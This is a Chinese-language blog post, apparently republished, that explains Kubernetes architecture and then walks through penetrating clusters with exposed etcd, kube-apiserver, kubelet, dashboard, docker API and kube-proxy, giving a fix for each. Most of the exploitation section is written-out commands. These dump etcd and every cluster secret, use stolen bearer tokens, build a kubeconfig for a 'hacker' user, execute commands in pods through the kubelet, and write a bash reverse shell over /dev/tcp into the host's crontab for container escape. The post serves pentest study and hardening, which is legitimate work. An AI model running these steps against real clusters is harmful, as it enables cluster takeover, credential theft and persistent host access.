Kubernetes(k8s)集群渗透

Posted 再认真点

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Kubernetes(k8s)集群渗透相关的知识,希望对你有一定的参考价值。

一、简介

Kubernetes,又称为 k8s,是一种可自动实施Linux容器操作的开源平台,可以帮助用户省去应用容器化过程的许多手动部署和扩展操作,也就是说,它可以将运行 Linux 容器的多组主机聚集在一起并轻松高效地管理这些集群。

二、优势

  • 服务发现与调度

  • 负载均衡

  • 服务自愈

  • 服务弹性扩容

  • 横向扩容

  • 存储卷挂载

三、相关术语

主机(Master): 用于控制 Kubernetes 节点的计算机。所有任务分配都来自于此。

节点(Node):负责执行请求和所分配任务的计算机。由 Kubernetes 主机负责对节点进行控制。

容器集(Pod):被部署在单个节点上的,且包含一个或多个容器的容器组。同一容器集中的所有容器共享同一个 IP 地址、IPC、主机名称及其它资源。容器集会将网络和存储从底层容器中抽象出来。这样,就能更加轻松地在集群中移动容器。

复制控制器(Replication controller):用于控制应在集群某处运行的完全相同的容器集副本数量。

服务(Service):将工作内容与容器集分离。Kubernetes 服务代理会自动将服务请求分发到正确的容器集——无论这个容器集会移到集群中的哪个位置,甚至可以被替换掉。

Kubelet:运行在节点上的服务,可读取容器清单(container manifest),确保指定的容器启动并运行。

kubectl: Kubernetes 的命令行配置工具

四、架构

架构图: 

k8s集群由Master节点和Node(Worker)节点组成

Master节点(主节点)

Master节点指的是集群控制节点,管理和控制整个集群,基本上k8s的所有控制命令都发给它,它负责具体的执⾏过程。在Master上主要运⾏着:

  1. Kubernetes Controller Manager(kube-controller-manager):k8s中所有资源对象的⾃动化控制中⼼,维护管理集群的状态,⽐如故障检测,⾃动扩展,滚动更新等,管理控制器。

  2. Kubernetes Scheduler(kube-scheduler): 负责资源调度,按照预定的调度策略将Pod调度到相应的机器上,“调度室”。

  3. etcd:保存整个集群的状态。

Node节点(计算节点)

除了master以外的节点被称为Node或者Worker节点,可以在master中使⽤命令 kubectl get nodes查看集群中的node节点。每个Node都会被Master分配⼀些⼯作负载(Docker容器),当某个Node宕机时,该节点上的⼯作负载就会被Master⾃动转移到其它节点上。在Node上主要运⾏着:

  1. kubelet:负责Pod对应的容器的创建、启停、修改、删除等任务,同时与Master密切协作,实现集群管理的基本功能。

  2. kube-proxy:实现service的通信与负载均衡,提供代理。

  3. docker(Docker Engine):Docker引擎,负责本机的容器创建和管理

  4. Pod:是k8s最基本的操作单元。一个Pod代表着集群中运行的一个进程,它内部封装了一个或多个紧密相关的容器。

  5. Fluentd:主要负责日志收集、存储与查询。


 

五、风险面

k8s集群主要由以下组件组成:

1)kube-apiserver:k8s master节点api服务器,以REST API服务形式提供接⼝,作为整个k8s的控制⼊⼝。

2)kube-controller-manager:执⾏整个k8s的后台任务,包括节点状态状况、Pod个数、Pods和Service的关联等。

3)kube-scheduler:接收来⾃kube-apiserver创建Pods任务,通过收集的集群中所有node节点的资源负载情况分配到某个节点。

4)etcd:k8s的键值对形式数据库,保存了k8s所有集群数据的后台数据库

5)kube-proxy:运⾏在每个node节点上,负责pod⽹络代理。定时从etcd获取到service信息来做相应的策略。

6)kubelet:运⾏在每个node节点上,作为agent,接收分配该节点的pods任务及管理容器,周期性获取容器状态,反馈给kube-apiserver

漏洞点主要是在上面提到的重点组件内:

kube-apiserver、kubelet、etcd、dashboard、docker、kube-proxy

组件

常用端口

脆弱点

备注

kube-apiserver

6443、8080

未授权访问

节点API服务器

kubelet

10250(https)、10255

未授权访问

etcd

2379

未授权访问

数据库

docker

2375

未授权访问

dashboard

30000+

认证绕过CVE-2018-18264

未授权

k8s的Web管理接口:未做鉴权,直接操作集群

kube-proxy

配置错误

cadvisor(k8s的监控)

4194、8080

未授权

利用细节

etcd - 未授权访问

etcd是⼀个key-value数据库,为k8s集群提供底层数据存储。

未授权访问:数据库敏感内容若无加密处理,会被攻击者加以利用,甚至控制整个集群

修复建议:通过 --client-cert-auth 开启证书校验,开启访问控制

#检测利用 
http://IP:2379/version	
http://IP:2379/v2/keys			#有v2和v3两个版本
http://0.0.0.0:2379/v2/keys/?recursive=true

etcdctl 工具地址

ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only		#遍历所有的key

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only			# --insecure-transport --insecure-skip-tls-verify 忽略证书校验

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort |
uniq | xargs -I sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379
get  >> output.data && echo "" >> output.data'  
#通过v3 API来dump数据库到 output.data(输出格式:一行key+一行value)

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only|sort|uniq|
grep secret		#	查找secret相关keys
# 通过 get /registry/secrets/default/admin-token-557l2 拿到 token

dump下etcd,定位 apiserver 和 所有证书;  检索关键字 advertiseAddress | kubeAPIConfig 定位 apiserver的地址

使用curl 访问api server,确认token是否正确可用;

curl --header "Authorization: Bearer TOKEN" -X GET https://API_SERVER:6443/api -k

token错误,返回401

 "kind": "Status", "apiVersion": "v1", "metadata": , "status": "Failure", "message": "Unauthorized", "reason":"Unauthorized", "code": 401

token正确,返回

 "kind": "APIVersions", "versions": [ "v1" ],"serverAddressByClientCIDRs": [  "clientCIDR": "xxxx", "serverAddress":"xxxx"  ]

执⾏kubectl config命令,来⽣成简单的临时配置⽂件

touch test_config kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKENkubectl --kubeconfig=./test_config config
set-cluster hacked_cluster --server=https://IP:6443/  --insecure-skip-tls-verifykubectl --kubeconfig=./test_config config set-context
test_context --cluster=hacked_cluster --user=hackerkubectl --
kubeconfig=./test_config config use-context test_context		# 生成临时配置文件

通过该配置文件访问api server,达到控制k8s集群的目标:

brew install kubectl    #	mac安装kubectl

kubectl --kubeconfig=./test_config get nodes -A		#管控集群

扩大权限,使用kubectl 导出所有secret,利用优于etcd

kubectl --kubeconfig=./test_config get secret -A -o custom-columns=:.metadata.name,:.metadata.namespace --no-headers | xargs -n 2 sh
-c '(kubectl --kubeconfig=./test_config get secret -n $3 -o yaml $2; echo
"") >> all_secrets_yaml.txt' --  

Kube apiserver - 未授权访问

k8s api server 存在未授权访问,攻击者可通过kubectl创建恶意pod或控制已有pod,后续可逃逸至宿主机

修复建议:使用安全端口替代8080端口,并使用 --tls-cert-file参数

直接访问:http://ip:port/,回显接口信息

访问 http://ip:8080/api/v1/namespaces/kube-system/secrets/ 拿到token

创建kubectl配置⽂件,指定⽬标地址和拿到的token等

kubectl--kubeconfig=./test_config get pod -n kube-system -o wide

# 通过kubectl使⽤kube-system的token获取pod列表。之后可进⼀步创建pod或控制已有pod进⾏命令执⾏等操作
curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://IP:10250/exec/namespace/podID/containername? command=touch&command=/tmp/test&input=1&output=1&tty=1"

kubectl -s ip:8080 get node # 获取节点
kubectl -s 127.0.0.1:8080 get pods # 获取Pods
kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-
59595f6ffc-p8xvk bash	#执行命令

PS:较高版本的k8s,需要获取service-account-token,通过访问api来获取token

/api/v1/namespaces/kube-system/secrets/

获取宿主机权限-通过k8s dashboard,创建特权Pods

echo -e "* * * * * /bin/bash -i >& /dev/tcp/0.0.0.0/1234 0>&1" >> /mnt/etc/crontab
# 然后通过dashboard创建pod并挂在宿主机的任意⽬录;然后写crontab获取shell

Kubelet - 未授权访问

k8s node对外开启10250(kubelet API)和10255端⼝(readonly API),攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机

修复建议:

  1. readOnlyPort=0:关闭只读端⼝(默认 10255);

  2. authentication.anonymous.enabled:设置为 false,不允许匿名访问 10250 端⼝;

  3. authentication.x509.clientCAFile:指定签名客户端证书的 CA 证书,开启 HTTP 证书认证;authentication.webhook.enabled=true:开启 HTTPs bearer token 认证

curl http://ip:10250/pods 

使用kubeletctl 批量获取pod等信息:

./kubeletctl pods -s x.x.x.x

可使⽤kubeletctl在特权pod内执⾏命令,挂载宿主机根⽬录,通过向宿主机批量写⼊ssh公钥逃逸到宿主机

k8s dashboard认证绕过(CVE-2018-18264)

攻击者可跳过登录,直接进⼊dashboard web⻚获取pod和job等状态,并可创建恶意pod,尝试逃逸⾄宿主机

修复建议:关闭dashboard的--enable-skip-login

登录页面选择跳过登录 -> 可通过dashboard获取pod、node和job等状态

若业务配置错误或为了⽅便给 Kubernetes dashboard 绑定 cluster-admin等⻆⾊,攻击者可直接在界⾯上创建特权 pod 进⾏容器逃逸

docker - 未授权访问

攻击者可利用对外暴露的docker remote api,执行docker命令

修复建议:⽣成证书进⾏api校验:docker -d --tlsverify --tlscacert=ca.pem--tlscert=server-cert.pem--tlskey=server-key.pem-H=tcp://x.x.x.x:2375-H unix:///var/run/dock

curl http://ip:2376/version		#可获取docker版本等信息

通过调用docker未授权接口,创建特权容器,挂载宿主机根目录;后续可通过写入ssh公钥和crontab等,完成逃逸和持久化

kube proxy 配置错误

攻击者可通过kube-proxy代理来未授权访问本地kube-apiserver组件,创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机

修复建议:kube-proxy禁⽌对外直接使⽤--address=0.0.0.0参数

该漏洞⼀般为业务或开发为了⽅便,通过kubectl proxy --address=0.0.0.0命令,将kube-apiserver暴露到0.0.0.0,且默认未授权之后请求8001端⼝即可未授权访问kube-apiserver;后续可按照kube-apiserver未授权进行处理。

仅供学习使用!!

参考

什么是Kubernetes (Kube) ? 一文了解K8s是什么_红帽

k8s架构与组件详解 - 知乎

什么是K8S - 知乎

K8s简介之什么是K8s

https://copyfuture.com/blogs-details/20210616193408465N

k8s对外攻击面总结 - 哔哩哔哩

10分钟看懂Docker和K8S_Seven7707的博客-CSDN博客

以上是关于Kubernetes(k8s)集群渗透的主要内容,如果未能解决你的问题,请参考以下文章

Kubernetes(k8s)集群渗透

Kubernetes集群调度

kubernetes集群之调度系统

深入解析 Kubernetes 调度系统

基于Python+Django的Kubernetes集群管理平台

跨集群流量调度实现 Kubernetes 集群金丝雀升级